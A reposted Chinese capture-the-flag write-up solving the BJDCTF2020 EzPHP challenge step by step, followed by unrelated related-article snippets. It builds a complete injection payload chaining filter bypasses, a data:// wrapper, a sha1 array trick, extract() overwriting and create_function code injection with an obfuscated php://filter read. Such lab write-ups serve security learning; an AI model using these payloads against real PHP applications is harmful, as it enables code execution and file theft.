[BJDCTF2020]EzPHP 许多的特性

这道题可以学到很多东西 静下心来慢慢通过本地知道是干嘛用的就可以学会了

BJDctf2020 Ezphp_[bjdctf2020]ezphp-CSDN博客

这里开始

一部分一部分看

$_SERVER['QUERY_SRING']的漏洞

if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  // print_r($_SERVER['QUERY_STRING']);die('You seem to want to do something bad?'); 
}

这里是出现这些内容我们就报错

这里使用url编码绕过

$_SERVER['QUERY_STRING']函数不对传入的东西进行url编码

所以我们传入什么就是什么 但是最后到服务端 还是会解码

然后我们看下面

绕过preg_match %0a

if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!');

这里首先file不能使用http 然后需要debu传入 aqua_is_cute 但是不能等于

这里很简单 使用 %0a绕过即可

所以目前的payload

?deb%75=aq%75a_is_c%75te%0a这里是因为上面的绕过 所以需要url编码

继续

$_REQUEST  特性 post比get先接受参数

if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
}  

这里是$_REQUEST 的特性 这里会判断 是不是有字母在 $_REQUEST 中

但是我们通过post传递和get传递的时候 POST会被先接受 然后没有字母 就绕过

所以现在是

GET?deb%75=aq%75a_is_c%75te%0aPOST debu=1

伪协议data伪造

if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>"); 

这里很简单了

GET?deb%75=aq%75a_is_c%75te%0a&file=data://text/plain,deb%75_deb%75_aq%75aPOST debu=1&file=2

sha1 === 数组绕过

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
} 

没有is_string的判断 不需要碰撞 数组绕过即可

GET?deb%75=aq%75a_is_c%75te%0a&file=data://text/plain,deb%75_deb%75_aq%75a&shan%61[]=1&p%61sswd[]=2POST debu=1&file=2   //其他不需要是因为我们没有传入字母了

create_function代码注入

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>

这个也是最难的

首先我们知道create_funtion的代码是什么

$aaa = create_function('$a, $b', 'return $a+$b;');和function aaa($a,$b){return $a+$b
}一样但是这里注意 我们现在的arg 其实就是 return $a+$b 并且是可控的 如果我们闭合 代码注入呢$aaa = create_function('$a, $b', 'return $a+$b;}想执行的函数()');//就变为了function aaa($a,$b){return $a+$b;}
想执行的函数();//
}美化一下function aaa($a,$b){return $a+$b;
}
想执行的函数();      //}这里我们不就实现了代码注入

这里我们就已经知道这道题如何实现了

这里有个问题 我们如何输出呢

这里还要注意上面的

extract($_GET["flag"]) 变量覆盖

 
extract($_GET["flag"])举例子?flag[name]=John&flag[age]=30,那么调用 extract($_GET["flag"]); 将会创建两个变量 $name 和 $age,并将它们的值分别设置为 "John" 和 30。

所以这里我们可以将flag通过flag来设定值

这样我们可以绕过上面的 数字字母过滤 preg_match 不会匹配到
 

所以我们可以构造payload

fl%61ag[co%64e]=create_function&fl%61ag[%61rg]=;}();//

所以现在的payload

GET?deb%75=aq%75a_is_c%75te%0a&file=data://text/plain,deb%75_deb%75_aq%75a&shan%61[]=1&p%61sswd[]=2&fl%61g[co%64e]=create_function&fl%61g[%61rg]=};//POST debu=1&file=2   //其他不需要是因为我们没有传入字母了

然后这里我们无法获取到内容 所以我们通过 get_defined_vars() 输出页面中的所有变量

var_dump(get_defined_vars())输出页面所有变量

GET?deb%75=aq%75a_is_c%75te%0a&file=data://text/plain,deb%75_deb%75_aq%75a&shan%61[]=1&p%61sswd[]=2&fl%61g[co%64e]=create_function&fl%61g[%61rg]=}var_dump(get_defined_vars());//POST debu=1&file=2   //其他不需要是因为我们没有传入字母了

 去访问

直接读取源代码

通过文件包含和伪协议实现读取

require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php);然后这里过滤了很多我们可以和无回显rce一样 取反操作实现}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

所以最后的payload

GET?deb%75=aq%75a_is_c%75te%0a&file=data://text/plain,deb%75_deb%75_aq%75a&shan%61[]=1&p%61sswd[]=2&fl%61g[co%64e]=create_function&fl%61g[%61rg]=
}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//POST debu=1&file=2   //其他不需要是因为我们没有传入字母了

然后可以发现获取到了flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/212510.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PHP使用mkcert本地开发生成HTTPS证书 PhpEnv集成环境

PHP使用mkcert本地开发生成HTTPS证书 PhpEnv集成环境 前言一、介绍 mkcert二、安装/使用 mkcert1. 安装2. 使用 总结 前言 本地开发时有些功能只有在 https 证书的情况下才能使用, 例如一些 Web API 一、介绍 mkcert Github地址 mkcert 是一个制作本地可信开发证书的简单工具。…

Vue 静态渲染 v-pre

v-pre 指令&#xff1a;用于阻止 Vue 解析这个标签&#xff0c;直接渲染到页面中。 语法格式&#xff1a; <div v-pre> {{ 数据 }} </div> 基础使用&#xff1a; <template><h3>静态渲染 v-pre</h3><p v-pre>静态渲染&#xff1a;{{ n…

Java (JDK 21) 调用 OpenCV (4.8.0)

Java 调用 OpenCV 一.OpenCV 下载和安装二.创建 Java Maven 项目三.其他测试 一.OpenCV 下载和安装 Open CV 官网 可以下载编译好的包&#xff0c;也可以下载源码自行编译 双击安装 opencv-4.8.0-windows.exe 默认为当前目录 安装即解压缩 根据系统位数选择 将 x64 目录下 op…

Elasticsearch:评估 RAG - 指标之旅

作者&#xff1a;Quentin Herreros&#xff0c;Thomas Veasey&#xff0c;Thanos Papaoikonomou 2020年&#xff0c;Meta发表了一篇题为 “知识密集型NLP任务的检索增强生成” 的论文。 本文介绍了一种通过利用外部数据库将语言模型 (LLM) 知识扩展到初始训练数据之外的方法。 …

css 元素前后添加图标(::before 和 ::after 的妙用)

<template><div class"container"><div class"label">猜你喜欢</div></div> </template><style lang"scss" scoped> .label {display: flex;&::before,&::after {content: "";widt…

Matlab使用基础

基本命令 clear all %清除Workspace中的所有变量 clc %清除Command Window中的所有命令 %和%%是注释 whos%显示当前内存中的变量信息基础函数 abs()%取绝对值 char(65)%将ASCII码数值变成字符 num2str(65)%将里面的内容变成字符串 length()%字符串长度&#xff0c;不把/0的长…

文本润色工具有哪些,高质量的文本润色软件

在当今信息过载的时代&#xff0c;文本的重要性愈发凸显。即便是最精心构思的文章&#xff0c;若未经过仔细的润色&#xff0c;也难以达到最佳的表达效果。本文将专心分享文本润色工具的种类。 文本润色工具的种类 文本润色工具根据其功能和应用范围可以分为多个种类&#xff…

Android 13 Settings蓝牙列表卡顿问题排查及优化过程

一.背景 此问题是蓝牙列表界面息屏后再点击亮屏蓝牙界面卡住,划不动也不能返回,在人多的时候(附近开启的蓝牙设备过多的时候)会卡住大概四五秒才能滑动. 优化前效果见资源: 二.查找耗时点 根据Android Studio的Profiler工具进行排查,查找主线程时间线比较长的方法,如下:…

12.7 作业

1&#xff0c; #include "widget1.h"Widget1::Widget1(QWidget *parent): QWidget(parent) {//界面设置//修改界面大小this->resize(810,600);//固定界面大小this->setFixedSize(800,600);//修改界面的标题this->setWindowTitle("杰哥和阿伟专场"…

数据结构与算法-D7栈实现及应用

顺序栈 具有顺序表同样的存储结构&#xff0c;由数组定义&#xff0c;配合用数组下标表示的栈顶指针top完成操作 sqstack.h stack_creat stack_push stack_empty stack_full 1、判断栈是否为空 2、top--&#xff0c;取&#xff1a;data[top1] stack_top stack_clear stack_fre…

软件工程期末复习(1)

学习资料 软件工程知识点总结_嘤桃子的博客-CSDN博客 软件工程学习笔记_软件工程导论第六版张海藩pdf-CSDN博客 【软件工程】软件工程期末试卷习题课讲解&#xff01;&#xff01;_哔哩哔哩_bilibili 【拯救者】软件工程速成(期末考研复试软考)均适用. 支持4K_哔哩哔哩_bil…

单片机学习13——串口通信

单片机的通信功能&#xff1a; 实现单片机和单片机的信息交换&#xff0c;实现单片机和计算机的信息交换。 计算机通信是指计算机与外部设备或计算机与计算机之间的信息交换。 通信有并行通信和串行通信两种方式。 在多微机系统以及现在测控系统中信息的交换多采用串行通信方…

看图学源码之 CopyOnWriteArrayList 源码分析

基本简介&#xff1a; 是Java中的一个线程安全的List实现&#xff0c;也是ArrayList 的安全版本&#xff0c;所以就不会有ArrayList 的并发修改异常 的问题产生了 原理 每次在对 List 进行修改时&#xff0c;创建一个新的副本&#xff08;即拷贝&#xff09;&#xff0c;而不…

共创共赢|美创科技获江苏移动2023DICT生态合作“产品共创奖”

12月6日&#xff0c;以“5G江山蓝 算网融百业 数智创未来”为主题的中国移动江苏公司2023DICT合作伙伴大会在南京成功举办。来自行业领军企业、科研院所等DICT产业核心力量的百余家单位代表参加本次大会&#xff0c;共话数实融合新趋势&#xff0c;共拓合作发展新空间。 作为生…

Linux环境下用yum安装postgres15

1. 下载PostgreSQL 15 安装包 在官网选择对应版本的安装包 https://www.postgresql.org/download/ Linux | CentOS 7 | PostgreSQL 15 2. 安装PostgreSQL 15 sudo yum install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-la…

Windows 10安装FFmpeg详细教程

Windows 10安装FFmpeg详细教程 0. 背景 在搭建之前的项目环境时&#xff0c;需要安装ffmpeg&#xff0c;在此记录下过程 1. 官网下载 点击进入官网&#xff1a;ffmpeg&#xff0c;官网地址&#xff1a;https://ffmpeg.org/download.html 如图所示&#xff0c;点击Windows图标…

TCP通信

第二十一章 网络通信 本章节主要讲解的是TCP和UDP两种通信方式它们都有着自己的优点和缺点 这两种通讯方式不通的地方就是TCP是一对一通信 UDP是一对多的通信方式 接下来会一一讲解 TCP通信 TCP通信方式呢 主要的通讯方式是一对一的通讯方式&#xff0c;也有着优点和缺点…

LoadBalancer将服务暴露到外部实现负载均衡purelb-layer2模式配置介绍

目录 一.purelb简介 1.简介 2.purelb的layer2工作模式特点 二.layer2的配置演示 1.首先准备ipvs和arp配置环境 2.purelb部署开始 &#xff08;1&#xff09;下载purelb-complete.yaml文件并应用 &#xff08;2&#xff09;查看该有的资源是否创建完成并运行 &#xff…

12.7作业

1. #include "mywidget.h"MyWidget::MyWidget(QWidget *parent): QWidget(parent) {//***********窗口相关设置***********//设置窗体大小this->resize(540,410);this->setFixedSize(540,410);//取消菜单栏this->setWindowFlag(Qt::FramelessWindowHint);/…

RNN:文本生成

文章目录 一、完整代码二、过程实现2.1 导包2.2 数据准备2.3 字符分词2.4 构建数据集2.5 定义模型2.6 模型训练2.7 模型推理 三、整体总结 采用RNN和unicode分词进行文本生成 一、完整代码 这里我们使用tensorflow实现&#xff0c;代码如下&#xff1a; # 完整代码在这里 imp…